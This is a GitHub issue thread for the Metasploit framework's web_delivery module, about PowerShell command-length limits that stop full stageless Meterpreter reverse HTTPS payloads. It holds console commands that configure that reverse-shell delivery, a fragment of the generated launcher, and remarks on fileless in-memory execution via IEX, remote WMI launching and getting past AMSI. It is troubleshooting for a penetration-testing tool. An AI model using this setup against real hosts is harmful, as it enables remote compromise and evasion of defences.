metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

web_delivery + PSH should support full stageless payloads without command line limits

Open kayaker-msf opened this issue 7 years ago • 7 comments

I was expecting to deliver full stageless payloads with PSH + web_delivery but it seems there is a command line limit restriction in the way.

use multi/script/web_delivery

set TARGET 2
set payload windows/x64/meterpreter_reverse_https
set EXTENSIONS stdapi,priv
set LHOST a.b.c.d
set LPORT xxx
set exitonsession false
set URIPATH /test

well, it really doesn't matter adding stdapi and priv, with the full metsrv is enough to break the command line limit

when downloading payload from /test URI

web_delivery - Exception handling request: Powershell command length is greater than the command line maximum (8192 characters)

problem is downloaded execution method tries to run a command line along the way

$p=[System.Diagnostics.Process]::Start($s);

I don't clearly see why there should be this command line restriction when we are already running powershell code victim side and we are able to execute whatever powershell script we download with IEX

Am I missing something obvious here?

I'm using latest dev version

I've already tried Powershell::remove_comspec and Powershell::exec_in_place with same results. Maybe generated payload should be smarter in this case and not use command line as it will be executed by IEX anyway no matter how large it is.

kayaker-msf avatar Feb 13 '18 16:02 kayaker-msf

Hi @kayaker-msf,

Thanks for looking into it. I also tried to look into it myself, first by removing the restriction, and then I got this error from the Windows box:

Exception calling "Start" with "1" argument(s): "The filename or extension is too long"
At line:1 char:169644
+ ... ';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
+                               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : Win32Exception

And it failed to create a session for me.

So based on this article, the max limit of any script block or invoke-command is 12190 bytes. Since a raw windows/x64/meterpreter_reverse_https is 206937 bytes, it exceeds that, so looks like size does matter in this case.

I also have to admit that I am not super familiar with Powershell, so if I am not understanding the problem correctly, please let me know. If you believe this explains the restriction, I could close the ticket. Thanks!

wchen-r7 avatar Feb 13 '18 21:02 wchen-r7

yeah, the problem is the script downloaded and executed inside IEX is again trying to start a process with a command line, and that's has a limit, that's right. But IEX shouldn't. Don't know if or which IEX poweshell version has the limit, but I've loadead into a powershell variable a full stageless psh-net generated with msfvenom plus stdapi and priv ( almost 1 Mb ) and executed with IEX with no problem at all (and got a shell )

kayaker-msf avatar Feb 14 '18 01:02 kayaker-msf

I guess in command.rb

https://github.com/rapid7/rex-powershell/blob/af4f08b10df53dcd8cf3746ec4363d8f4a42262f/lib/rex/powershell/command.rb#L344

shouldn't call run_hidden_psh when opts[:exec_in_place] that option seems just thought for that

  # @option opts [TrueClass,FalseClass] :exec_in_place Removes the
  #   executable wrappers from the powershell code returning raw PSH
  #   for executing with an existing PSH context

when exec in place shouldn't try to generate another command line again inside of it, that's imposing an innecesary length limit and shooting ourselves on the foot for larger payloads

we lose architecture detection without it, but that can be done in the powershell script client side.

kayaker-msf avatar Feb 16 '18 02:02 kayaker-msf

@kayaker-msf: exec in place is your friend just for this sort of thing. IEX is NOT your friend anymore. AMSI has seen to that. If you're doing stageless via psh I suggest using a Rex PSH script object without the CLI wrapper since its well beyond the 8k char limit anyway.

sempervictus avatar Feb 18 '18 08:02 sempervictus

yes, but I have 2 restrictions, I execute powershell at the client with remote WMI exec ( so I have a limited command line length in the first execution, that's why IEX is good ) and I don't want to touch disk at all in the client (no dropping files), that's why web_delivery was my choice. So far in my environment AMSI is not blocking me yet.

by the way, some time ago I was using this method staged and everything was ok, but now powershell crashes when staged, so I had to go stageless ( theres a couple of issues about that 6805 and 9371 but seems no fix yet or it's not easily reproduced or maybe not the same problem as I have at all ... ) I can host the full stageless powershell script in a separate web server, but that's the whole point of web delivery. I guess there should be another parameter, exec_in_place_psh or something like that, that avoid the start process commmand line ([System.Diagnostics.Process]::Start) and does not check total limit.

kayaker-msf avatar Feb 21 '18 02:02 kayaker-msf

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

github-actions[bot] avatar Dec 03 '20 15:12 github-actions[bot]

hello, am getting following error when trying to create a script. appreciate with your suggestions

web_delivery - Delivering AMSI Bypass (1382 bytes

web_delivery - Exception handling request: Powershell command length is greater than the command line maximum (8192 characters)

sanjayrangaraju avatar Aug 24 '24 17:08 sanjayrangaraju